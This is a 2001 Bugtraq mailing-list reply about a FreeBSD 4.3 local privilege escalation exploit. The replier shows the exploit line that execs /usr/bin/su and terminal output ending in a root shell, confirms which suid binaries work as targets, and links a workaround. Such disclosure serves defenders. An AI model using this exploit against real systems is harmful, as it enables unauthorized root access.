Date: Wed, 11 Jul 2001 14:31:06 +0200 From: "Przemyslaw Frasunek" <venglin@freebsd.lublin.pl> To: "Seva Gluschenko" <gvs@rinet.ru>, "Bug Track" <bugtraq@securityfocus.com> Cc: <security@freebsd.org> Subject: Re: FreeBSD 4.3 local root Message-ID: <049201c10a05$5dc17bc0$2001a8c0@clitoris> References: <20010711121224.J96652-100000@localhost>
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> Well, after a bunch of tests I've found only two suids which gave me
> suid shell:
> /usr/bin/passwd
> /usr/local/bin/ssh1
/usr/bin/su also works for me:
riget:venglin:~> egrep -e execl vvfreebsd.c
if(!execl("/usr/bin/su","su","szymon",0))
riget:venglin:~> ./v
vvfreebsd. Written by Georgi Guninski
shall jump to bfbffe72
child=57660
Password:done
# id
uid=0(root) gid=1001(users) groups=1001(users), 99(rexec)
> So, quick workaround should be
Quick workaround is to limit arguments, environment and filter non-ascii
characters:
http://www.frasunek.com/sources/security/rexec/
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